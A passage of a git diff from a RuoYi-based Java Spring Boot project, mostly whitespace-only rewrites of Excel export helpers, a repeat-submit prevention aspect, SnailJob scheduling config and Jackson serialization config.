exportTemplateMultiSheet(data, templatePath, os); + } catch (IOException e) { + throw new RuntimeException("导出Excel异常"); + } + } + + /** + * 多表多数据模板导出 模板格式为 {key.属性} + * + * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 + * 例如: excel/temp.xlsx + * 重点: 模板文件必须放置到启动类对应的 resource 目录下 + * @param data 模板需要的数据 + * @param os 输出流 + */ + public static void exportTemplateMultiList(Map data, String templatePath, OutputStream os) { + ClassPathResource templateResource = new ClassPathResource(templatePath); + ExcelWriter excelWriter = EasyExcel.write(os) + .withTemplate(templateResource.getStream()) + .autoCloseStream(false) + // 大数值自动转换 防止失真 + .registerConverter(new ExcelBigNumberConvert()) + .build(); + WriteSheet writeSheet = EasyExcel.writerSheet().build(); + if (CollUtil.isEmpty(data)) { + throw new IllegalArgumentException("数据为空"); + } + for (Map.Entry map : data.entrySet()) { + // 设置列表后续还有数据 + FillConfig fillConfig = FillConfig.builder().forceNewRow(Boolean.TRUE).build(); + if (map.getValue() instanceof Collection) { + // 多表导出必须使用 FillWrapper + excelWriter.fill(new FillWrapper(map.getKey(), (Collection) map.getValue()), fillConfig, writeSheet); + } else { + excelWriter.fill(map.getValue(), writeSheet); + } + } + excelWriter.finish(); + } + + /** + * 多sheet模板导出 模板格式为 {key.属性} + * + * @param templatePath 模板路径 resource 目录下的路径包括模板文件名 + * 例如: excel/temp.xlsx + * 重点: 模板文件必须放置到启动类对应的 resource 目录下 + * @param data 模板需要的数据 + * @param os 输出流 + */ + public static void exportTemplateMultiSheet(List> data, String templatePath, OutputStream os) { + ClassPathResource templateResource = new ClassPathResource(templatePath); + ExcelWriter excelWriter = EasyExcel.write(os) + .withTemplate(templateResource.getStream()) + .autoCloseStream(false) + // 大数值自动转换 防止失真 + .registerConverter(new ExcelBigNumberConvert()) + .build(); + if (CollUtil.isEmpty(data)) { + throw new IllegalArgumentException("数据为空"); + } + for (int i = 0; i < data.size(); i++) { + WriteSheet writeSheet = EasyExcel.writerSheet(i).build(); + for (Map.Entry map : data.get(i).entrySet()) { + // 设置列表后续还有数据 + FillConfig fillConfig = FillConfig.builder().forceNewRow(Boolean.TRUE).build(); + if (map.getValue() instanceof Collection) { + // 多表导出必须使用 FillWrapper + excelWriter.fill(new FillWrapper(map.getKey(), (Collection) map.getValue()), fillConfig, writeSheet); + } else { + excelWriter.fill(map.getValue(), writeSheet); + } + } + } + excelWriter.finish(); + } + + /** + * 重置响应体 + */ + private static void resetResponse(String sheetName, HttpServletResponse response) throws UnsupportedEncodingException { + String filename = encodingFilename(sheetName); + FileUtils.setAttachmentResponseHeader(response, filename); + response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;charset=UTF-8"); + } + + /** + * 解析导出值 0=男,1=女,2=未知 + * + * @param propertyValue 参数值 + * @param converterExp 翻译注解 + * @param separator 分隔符 + * @return 解析后值 + */ + public static String convertByExp(String propertyValue, String converterExp, String separator) { + StringBuilder propertyString = new StringBuilder(); + String[] convertSource = converterExp.split(StringUtils.SEPARATOR); + for (String item : convertSource) { + String[] itemArray = item.split("="); + if (StringUtils.containsAny(propertyValue, separator)) { + for (String value : propertyValue.split(separator)) { + if (itemArray[0].equals(value)) { + propertyString.append(itemArray[1] + separator); + break; + } + } + } else { + if (itemArray[0].equals(propertyValue)) { + return itemArray[1]; + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 反向解析值 男=0,女=1,未知=2 + * + * @param propertyValue 参数值 + * @param converterExp 翻译注解 + * @param separator 分隔符 + * @return 解析后值 + */ + public static String reverseByExp(String propertyValue, String converterExp, String separator) { + StringBuilder propertyString = new StringBuilder(); + String[] convertSource = converterExp.split(StringUtils.SEPARATOR); + for (String item : convertSource) { + String[] itemArray = item.split("="); + if (StringUtils.containsAny(propertyValue, separator)) { + for (String value : propertyValue.split(separator)) { + if (itemArray[1].equals(value)) { + propertyString.append(itemArray[0] + separator); + break; + } + } + } else { + if (itemArray[1].equals(propertyValue)) { + return itemArray[0]; + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 编码文件名 + */ + public static String encodingFilename(String filename) { + return IdUtil.fastSimpleUUID() + "_" + filename + ".xlsx"; + } + +} diff --git a/ruoyi-common/ruoyi-common-idempotent/pom.xml b/ruoyi-common/ruoyi-common-idempotent/pom.xml index 64418b4..f6c61a5 100644 --- a/ruoyi-common/ruoyi-common-idempotent/pom.xml +++ b/ruoyi-common/ruoyi-common-idempotent/pom.xml @@ -1,41 +1,41 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-idempotent - - - ruoyi-common-idempotent 幂等功能 - - - - - org.dromara - ruoyi-common-json - - - - org.dromara - ruoyi-common-redis - - - - cn.hutool - hutool-crypto - - - - cn.dev33 - sa-token-core - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-idempotent + + + ruoyi-common-idempotent 幂等功能 + + + + + org.dromara + ruoyi-common-json + + + + org.dromara + ruoyi-common-redis + + + + cn.hutool + hutool-crypto + + + + cn.dev33 + sa-token-core + + + + + diff --git a/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/annotation/RepeatSubmit.java b/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/annotation/RepeatSubmit.java index 42ae802..88ab8b6 100644 --- a/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/annotation/RepeatSubmit.java +++ b/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/annotation/RepeatSubmit.java @@ -1,29 +1,29 @@ -package org.dromara.common.idempotent.annotation; - -import java.lang.annotation.*; -import java.util.concurrent.TimeUnit; - -/** - * 自定义注解防止表单重复提交 - * - * @author Lion Li - */ -@Inherited -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface RepeatSubmit { - - /** - * 间隔时间(ms),小于此时间视为重复提交 - */ - int interval() default 5000; - - TimeUnit timeUnit() default TimeUnit.MILLISECONDS; - - /** - * 提示消息 支持国际化 格式为 {code} - */ - String message() default "{repeat.submit.message}"; - -} +package org.dromara.common.idempotent.annotation; + +import java.lang.annotation.*; +import java.util.concurrent.TimeUnit; + +/** + * 自定义注解防止表单重复提交 + * + * @author Lion Li + */ +@Inherited +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface RepeatSubmit { + + /** + * 间隔时间(ms),小于此时间视为重复提交 + */ + int interval() default 5000; + + TimeUnit timeUnit() default TimeUnit.MILLISECONDS; + + /** + * 提示消息 支持国际化 格式为 {code} + */ + String message() default "{repeat.submit.message}"; + +} diff --git a/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/aspectj/RepeatSubmitAspect.java b/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/aspectj/RepeatSubmitAspect.java index 5a27e91..3767a36 100644 --- a/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/aspectj/RepeatSubmitAspect.java +++ b/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/aspectj/RepeatSubmitAspect.java @@ -1,146 +1,146 @@ -package org.dromara.common.idempotent.aspectj; - -import cn.dev33.satoken.SaManager; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.crypto.SecureUtil; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.annotation.AfterReturning; -import org.aspectj.lang.annotation.AfterThrowing; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.redis.utils.RedisUtils; -import org.springframework.validation.BindingResult; -import org.springframework.web.multipart.MultipartFile; - -import java.time.Duration; -import java.util.Collection; -import java.util.Map; -import java.util.StringJoiner; - -/** - * 防止重复提交(参考美团GTIS防重系统) - * - * @author Lion Li - */ -@Aspect -public class RepeatSubmitAspect { - - private static final ThreadLocal KEY_CACHE = new ThreadLocal<>(); - - @Before("@annotation(repeatSubmit)") - public void doBefore(JoinPoint point, RepeatSubmit repeatSubmit) throws Throwable { - // 如果注解不为0 则使用注解数值 - long interval = repeatSubmit.timeUnit().toMillis(repeatSubmit.interval()); - - if (interval < 1000) { - throw new ServiceException("重复提交间隔时间不能小于'1'秒"); - } - HttpServletRequest request = ServletUtils.getRequest(); - String nowParams = argsArrayToString(point.getArgs()); - - // 请求地址(作为存放cache的key值) - String url = request.getRequestURI(); - - // 唯一值(没有消息头则使用请求地址) - String submitKey = StringUtils.trimToEmpty(request.getHeader(SaManager.getConfig().getTokenName())); - - submitKey = SecureUtil.md5(submitKey + ":" + nowParams); - // 唯一标识(指定key + url + 消息头) - String cacheRepeatKey = GlobalConstants.REPEAT_SUBMIT_KEY + url + submitKey; - if (RedisUtils.setObjectIfAbsent(cacheRepeatKey, "", Duration.ofMillis(interval))) { - KEY_CACHE.set(cacheRepeatKey); - } else { - String message = repeatSubmit.message(); - if (StringUtils.startsWith(message, "{") && StringUtils.endsWith(message, "}")) { - message = MessageUtils.message(StringUtils.substring(message, 1, message.length() - 1)); - } - throw new ServiceException(message); - } - } - - /** - * 处理完请求后执行 - * - * @param joinPoint 切点 - */ - @AfterReturning(pointcut = "@annotation(repeatSubmit)", returning = "jsonResult") - public void doAfterReturning(JoinPoint joinPoint, RepeatSubmit repeatSubmit, Object jsonResult) { - if (jsonResult instanceof R r) { - try { - // 成功则不删除redis数据 保证在有效时间内无法重复提交 - if (r.getCode() == R.SUCCESS) { - return; - } - RedisUtils.deleteObject(KEY_CACHE.get()); - } finally { - KEY_CACHE.remove(); - } - } - } - - /** - * 拦截异常操作 - * - * @param joinPoint 切点 - * @param e 异常 - */ - @AfterThrowing(value = "@annotation(repeatSubmit)", throwing = "e") - public void doAfterThrowing(JoinPoint joinPoint, RepeatSubmit repeatSubmit, Exception e) { - RedisUtils.deleteObject(KEY_CACHE.get()); - KEY_CACHE.remove(); - } - - /** - * 参数拼装 - */ - private String argsArrayToString(Object[] paramsArray) { - StringJoiner params = new StringJoiner(" "); - if (ArrayUtil.isEmpty(paramsArray)) { - return params.toString(); - } - for (Object o : paramsArray) { - if (ObjectUtil.isNotNull(o) && !isFilterObject(o)) { - params.add(JsonUtils.toJsonString(o)); - } - } - return params.toString(); - } - - /** - * 判断是否需要过滤的对象。 - * - * @param o 对象信息。 - * @return 如果是需要过滤的对象,则返回true;否则返回false。 - */ - @SuppressWarnings("rawtypes") - public boolean isFilterObject(final Object o) { - Class clazz = o.getClass(); - if (clazz.isArray()) { - return MultipartFile.class.isAssignableFrom(clazz.getComponentType()); - } else if (Collection.class.isAssignableFrom(clazz)) { - Collection collection = (Collection) o; - for (Object value : collection) { - return value instanceof MultipartFile; - } - } else if (Map.class.isAssignableFrom(clazz)) { - Map map = (Map) o; - for (Object value : map.values()) { - return value instanceof MultipartFile; - } - } - return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse - || o instanceof BindingResult; - } - -} +package org.dromara.common.idempotent.aspectj; + +import cn.dev33.satoken.SaManager; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.crypto.SecureUtil; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.AfterReturning; +import org.aspectj.lang.annotation.AfterThrowing; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.redis.utils.RedisUtils; +import org.springframework.validation.BindingResult; +import org.springframework.web.multipart.MultipartFile; + +import java.time.Duration; +import java.util.Collection; +import java.util.Map; +import java.util.StringJoiner; + +/** + * 防止重复提交(参考美团GTIS防重系统) + * + * @author Lion Li + */ +@Aspect +public class RepeatSubmitAspect { + + private static final ThreadLocal KEY_CACHE = new ThreadLocal<>(); + + @Before("@annotation(repeatSubmit)") + public void doBefore(JoinPoint point, RepeatSubmit repeatSubmit) throws Throwable { + // 如果注解不为0 则使用注解数值 + long interval = repeatSubmit.timeUnit().toMillis(repeatSubmit.interval()); + + if (interval < 1000) { + throw new ServiceException("重复提交间隔时间不能小于'1'秒"); + } + HttpServletRequest request = ServletUtils.getRequest(); + String nowParams = argsArrayToString(point.getArgs()); + + // 请求地址(作为存放cache的key值) + String url = request.getRequestURI(); + + // 唯一值(没有消息头则使用请求地址) + String submitKey = StringUtils.trimToEmpty(request.getHeader(SaManager.getConfig().getTokenName())); + + submitKey = SecureUtil.md5(submitKey + ":" + nowParams); + // 唯一标识(指定key + url + 消息头) + String cacheRepeatKey = GlobalConstants.REPEAT_SUBMIT_KEY + url + submitKey; + if (RedisUtils.setObjectIfAbsent(cacheRepeatKey, "", Duration.ofMillis(interval))) { + KEY_CACHE.set(cacheRepeatKey); + } else { + String message = repeatSubmit.message(); + if (StringUtils.startsWith(message, "{") && StringUtils.endsWith(message, "}")) { + message = MessageUtils.message(StringUtils.substring(message, 1, message.length() - 1)); + } + throw new ServiceException(message); + } + } + + /** + * 处理完请求后执行 + * + * @param joinPoint 切点 + */ + @AfterReturning(pointcut = "@annotation(repeatSubmit)", returning = "jsonResult") + public void doAfterReturning(JoinPoint joinPoint, RepeatSubmit repeatSubmit, Object jsonResult) { + if (jsonResult instanceof R r) { + try { + // 成功则不删除redis数据 保证在有效时间内无法重复提交 + if (r.getCode() == R.SUCCESS) { + return; + } + RedisUtils.deleteObject(KEY_CACHE.get()); + } finally { + KEY_CACHE.remove(); + } + } + } + + /** + * 拦截异常操作 + * + * @param joinPoint 切点 + * @param e 异常 + */ + @AfterThrowing(value = "@annotation(repeatSubmit)", throwing = "e") + public void doAfterThrowing(JoinPoint joinPoint, RepeatSubmit repeatSubmit, Exception e) { + RedisUtils.deleteObject(KEY_CACHE.get()); + KEY_CACHE.remove(); + } + + /** + * 参数拼装 + */ + private String argsArrayToString(Object[] paramsArray) { + StringJoiner params = new StringJoiner(" "); + if (ArrayUtil.isEmpty(paramsArray)) { + return params.toString(); + } + for (Object o : paramsArray) { + if (ObjectUtil.isNotNull(o) && !isFilterObject(o)) { + params.add(JsonUtils.toJsonString(o)); + } + } + return params.toString(); + } + + /** + * 判断是否需要过滤的对象。 + * + * @param o 对象信息。 + * @return 如果是需要过滤的对象,则返回true;否则返回false。 + */ + @SuppressWarnings("rawtypes") + public boolean isFilterObject(final Object o) { + Class clazz = o.getClass(); + if (clazz.isArray()) { + return MultipartFile.class.isAssignableFrom(clazz.getComponentType()); + } else if (Collection.class.isAssignableFrom(clazz)) { + Collection collection = (Collection) o; + for (Object value : collection) { + return value instanceof MultipartFile; + } + } else if (Map.class.isAssignableFrom(clazz)) { + Map map = (Map) o; + for (Object value : map.values()) { + return value instanceof MultipartFile; + } + } + return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse + || o instanceof BindingResult; + } + +} diff --git a/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/config/IdempotentConfig.java b/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/config/IdempotentConfig.java index fcb9d03..034060e 100644 --- a/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/config/IdempotentConfig.java +++ b/ruoyi-common/ruoyi-common-idempotent/src/main/java/org/dromara/common/idempotent/config/IdempotentConfig.java @@ -1,21 +1,21 @@ -package org.dromara.common.idempotent.config; - -import org.dromara.common.idempotent.aspectj.RepeatSubmitAspect; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.context.annotation.Bean; -import org.springframework.data.redis.connection.RedisConfiguration; - -/** - * 幂等功能配置 - * - * @author Lion Li - */ -@AutoConfiguration(after = RedisConfiguration.class) -public class IdempotentConfig { - - @Bean - public RepeatSubmitAspect repeatSubmitAspect() { - return new RepeatSubmitAspect(); - } - -} +package org.dromara.common.idempotent.config; + +import org.dromara.common.idempotent.aspectj.RepeatSubmitAspect; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.data.redis.connection.RedisConfiguration; + +/** + * 幂等功能配置 + * + * @author Lion Li + */ +@AutoConfiguration(after = RedisConfiguration.class) +public class IdempotentConfig { + + @Bean + public RepeatSubmitAspect repeatSubmitAspect() { + return new RepeatSubmitAspect(); + } + +} diff --git a/ruoyi-common/ruoyi-common-idempotent/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-idempotent/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index f2fa958..bbaf207 100644 --- a/ruoyi-common/ruoyi-common-idempotent/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-idempotent/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.idempotent.config.IdempotentConfig +org.dromara.common.idempotent.config.IdempotentConfig diff --git a/ruoyi-common/ruoyi-common-job/pom.xml b/ruoyi-common/ruoyi-common-job/pom.xml index 3a4a0cb..fe8be3e 100644 --- a/ruoyi-common/ruoyi-common-job/pom.xml +++ b/ruoyi-common/ruoyi-common-job/pom.xml @@ -1,46 +1,46 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-job - - - ruoyi-common-job 定时任务 - - - - - - org.springframework.boot - spring-boot-autoconfigure - - - - - com.aizuda - snail-job-client-starter - - - com.aizuda - snail-job-client-job-core - - - - org.projectlombok - lombok - - - - org.dromara - ruoyi-common-core - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-job + + + ruoyi-common-job 定时任务 + + + + + + org.springframework.boot + spring-boot-autoconfigure + + + + + com.aizuda + snail-job-client-starter + + + com.aizuda + snail-job-client-job-core + + + + org.projectlombok + lombok + + + + org.dromara + ruoyi-common-core + + + + diff --git a/ruoyi-common/ruoyi-common-job/src/main/java/org/dromara/common/job/config/SnailJobConfig.java b/ruoyi-common/ruoyi-common-job/src/main/java/org/dromara/common/job/config/SnailJobConfig.java index cba3753..5d8b6a9 100644 --- a/ruoyi-common/ruoyi-common-job/src/main/java/org/dromara/common/job/config/SnailJobConfig.java +++ b/ruoyi-common/ruoyi-common-job/src/main/java/org/dromara/common/job/config/SnailJobConfig.java @@ -1,37 +1,37 @@ -package org.dromara.common.job.config; - -import ch.qos.logback.classic.Logger; -import ch.qos.logback.classic.LoggerContext; -import ch.qos.logback.classic.spi.ILoggingEvent; -import com.aizuda.snailjob.client.common.appender.SnailLogbackAppender; -import com.aizuda.snailjob.client.common.event.SnailClientStartingEvent; -import com.aizuda.snailjob.client.starter.EnableSnailJob; -import org.slf4j.LoggerFactory; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.context.event.EventListener; -import org.springframework.scheduling.annotation.EnableScheduling; - -/** - * 启动定时任务 - * - * @author opensnail - * @date 2024-05-17 - */ -@AutoConfiguration -@ConditionalOnProperty(prefix = "snail-job", name = "enabled", havingValue = "true") -@EnableScheduling -@EnableSnailJob -public class SnailJobConfig { - - @EventListener(SnailClientStartingEvent.class) - public void onStarting(SnailClientStartingEvent event) { - LoggerContext lc = (LoggerContext) LoggerFactory.getILoggerFactory(); - SnailLogbackAppender ca = new SnailLogbackAppender<>(); - ca.setName("snail_log_appender"); - ca.start(); - Logger rootLogger = lc.getLogger(Logger.ROOT_LOGGER_NAME); - rootLogger.addAppender(ca); - } - -} +package org.dromara.common.job.config; + +import ch.qos.logback.classic.Logger; +import ch.qos.logback.classic.LoggerContext; +import ch.qos.logback.classic.spi.ILoggingEvent; +import com.aizuda.snailjob.client.common.appender.SnailLogbackAppender; +import com.aizuda.snailjob.client.common.event.SnailClientStartingEvent; +import com.aizuda.snailjob.client.starter.EnableSnailJob; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.event.EventListener; +import org.springframework.scheduling.annotation.EnableScheduling; + +/** + * 启动定时任务 + * + * @author opensnail + * @date 2024-05-17 + */ +@AutoConfiguration +@ConditionalOnProperty(prefix = "snail-job", name = "enabled", havingValue = "true") +@EnableScheduling +@EnableSnailJob +public class SnailJobConfig { + + @EventListener(SnailClientStartingEvent.class) + public void onStarting(SnailClientStartingEvent event) { + LoggerContext lc = (LoggerContext) LoggerFactory.getILoggerFactory(); + SnailLogbackAppender ca = new SnailLogbackAppender<>(); + ca.setName("snail_log_appender"); + ca.start(); + Logger rootLogger = lc.getLogger(Logger.ROOT_LOGGER_NAME); + rootLogger.addAppender(ca); + } + +} diff --git a/ruoyi-common/ruoyi-common-job/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-job/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 3aa1881..93d8b98 100644 --- a/ruoyi-common/ruoyi-common-job/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-job/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.job.config.SnailJobConfig +org.dromara.common.job.config.SnailJobConfig diff --git a/ruoyi-common/ruoyi-common-json/pom.xml b/ruoyi-common/ruoyi-common-json/pom.xml index f1c8a24..c10ec7b 100644 --- a/ruoyi-common/ruoyi-common-json/pom.xml +++ b/ruoyi-common/ruoyi-common-json/pom.xml @@ -1,41 +1,41 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-json - - - ruoyi-common-json 序列化模块 - - - - - org.dromara - ruoyi-common-core - - - - - com.fasterxml.jackson.core - jackson-databind - - - - com.fasterxml.jackson.datatype - jackson-datatype-jsr310 - - - org.dromara - ruoyi-common-mail - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-json + + + ruoyi-common-json 序列化模块 + + + + + org.dromara + ruoyi-common-core + + + + + com.fasterxml.jackson.core + jackson-databind + + + + com.fasterxml.jackson.datatype + jackson-datatype-jsr310 + + + org.dromara + ruoyi-common-mail + + + + + diff --git a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/config/JacksonConfig.java b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/config/JacksonConfig.java index 36400bc..174af48 100644 --- a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/config/JacksonConfig.java +++ b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/config/JacksonConfig.java @@ -1,47 +1,47 @@ -package org.dromara.common.json.config; - -import com.fasterxml.jackson.databind.ser.std.ToStringSerializer; -import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; -import com.fasterxml.jackson.datatype.jsr310.deser.LocalDateTimeDeserializer; -import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.json.handler.BigNumberSerializer; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer; -import org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration; -import org.springframework.context.annotation.Bean; - -import java.math.BigDecimal; -import java.math.BigInteger; -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; -import java.util.TimeZone; - -/** - * jackson 配置 - * - * @author Lion Li - */ -@Slf4j -@AutoConfiguration(before = JacksonAutoConfiguration.class) -public class JacksonConfig { - - @Bean - public Jackson2ObjectMapperBuilderCustomizer customizer() { - return builder -> { - // 全局配置序列化返回 JSON 处理 - JavaTimeModule javaTimeModule = new JavaTimeModule(); - javaTimeModule.addSerializer(Long.class, BigNumberSerializer.INSTANCE); - javaTimeModule.addSerializer(Long.TYPE, BigNumberSerializer.INSTANCE); - javaTimeModule.addSerializer(BigInteger.class, BigNumberSerializer.INSTANCE); - javaTimeModule.addSerializer(BigDecimal.class, ToStringSerializer.instance); - DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); - javaTimeModule.addSerializer(LocalDateTime.class, new LocalDateTimeSerializer(formatter)); - javaTimeModule.addDeserializer(LocalDateTime.class, new LocalDateTimeDeserializer(formatter)); - builder.modules(javaTimeModule); - builder.timeZone(TimeZone.getDefault()); - log.info("初始化 jackson 配置"); - }; - } - -} +package org.dromara.common.json.config; + +import com.fasterxml.jackson.databind.ser.std.ToStringSerializer; +import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; +import com.fasterxml.jackson.datatype.jsr310.deser.LocalDateTimeDeserializer; +import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.json.handler.BigNumberSerializer; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer; +import org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration; +import org.springframework.context.annotation.Bean; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.TimeZone; + +/** + * jackson 配置 + * + * @author Lion Li + */ +@Slf4j +@AutoConfiguration(before = JacksonAutoConfiguration.class) +public class JacksonConfig { + + @Bean + public Jackson2ObjectMapperBuilderCustomizer customizer() { + return builder -> { + // 全局配置序列化返回 JSON 处理 + JavaTimeModule javaTimeModule = new JavaTimeModule(); + javaTimeModule.addSerializer(Long.class, BigNumberSerializer.INSTANCE); + javaTimeModule.addSerializer(Long.TYPE, BigNumberSerializer.INSTANCE); + javaTimeModule.addSerializer(BigInteger.class, BigNumberSerializer.INSTANCE); + javaTimeModule.addSerializer(BigDecimal.class, ToStringSerializer.instance); + DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + javaTimeModule.addSerializer(LocalDateTime.class, new LocalDateTimeSerializer(formatter)); + javaTimeModule.addDeserializer(LocalDateTime.class, new LocalDateTimeDeserializer(formatter)); + builder.modules(javaTimeModule); + builder.timeZone(TimeZone.getDefault()); + log.info("初始化 jackson 配置"); + }; + } + +} diff --git a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/handler/BigNumberSerializer.java b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/handler/BigNumberSerializer.java index f2a7c2d..ecbb768 100644 --- a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/handler/BigNumberSerializer.java +++ b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/handler/BigNumberSerializer.java @@ -1,42 +1,42 @@ -package org.dromara.common.json.handler; - -import com.fasterxml.jackson.core.JsonGenerator; -import com.fasterxml.jackson.databind.SerializerProvider; -import com.fasterxml.jackson.databind.annotation.JacksonStdImpl; -import com.fasterxml.jackson.databind.ser.std.NumberSerializer; - -import java.io.IOException; - -/** - * 超出 JS 最大最小值 处理 - * - * @author Lion Li - */ -@JacksonStdImpl -public class BigNumberSerializer extends NumberSerializer { - - /** - * 根据 JS Number.MAX_SAFE_INTEGER 与 Number.MIN_SAFE_INTEGER 得来 - */ - private static final long MAX_SAFE_INTEGER = 9007199254740991L; - private static final long MIN_SAFE_INTEGER = -9007199254740991L; - - /** - * 提供实例 - */ - public static final BigNumberSerializer INSTANCE = new BigNumberSerializer(Number.class); - - public BigNumberSerializer(Class rawType) { - super(rawType); - } - - @Override - public void serialize(Number value, JsonGenerator gen, SerializerProvider provider) throws IOException { - // 超出范围 序列化位字符串 - if (value.longValue() > MIN_SAFE_INTEGER && value.longValue() < MAX_SAFE_INTEGER) { - super.serialize(value, gen, provider); - } else { - gen.writeString(value.toString()); - } - } -} +package org.dromara.common.json.handler; + +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.databind.SerializerProvider; +import com.fasterxml.jackson.databind.annotation.JacksonStdImpl; +import com.fasterxml.jackson.databind.ser.std.NumberSerializer; + +import java.io.IOException; + +/** + * 超出 JS 最大最小值 处理 + * + * @author Lion Li + */ +@JacksonStdImpl +public class BigNumberSerializer extends NumberSerializer { + + /** + * 根据 JS Number.MAX_SAFE_INTEGER 与 Number.MIN_SAFE_INTEGER 得来 + */ + private static final long MAX_SAFE_INTEGER = 9007199254740991L; + private static final long MIN_SAFE_INTEGER = -9007199254740991L; + + /** + * 提供实例 + */ + public static final BigNumberSerializer INSTANCE = new BigNumberSerializer(Number.class); + + public BigNumberSerializer(Class rawType) { + super(rawType); + } + + @Override + public void serialize(Number value, JsonGenerator gen, 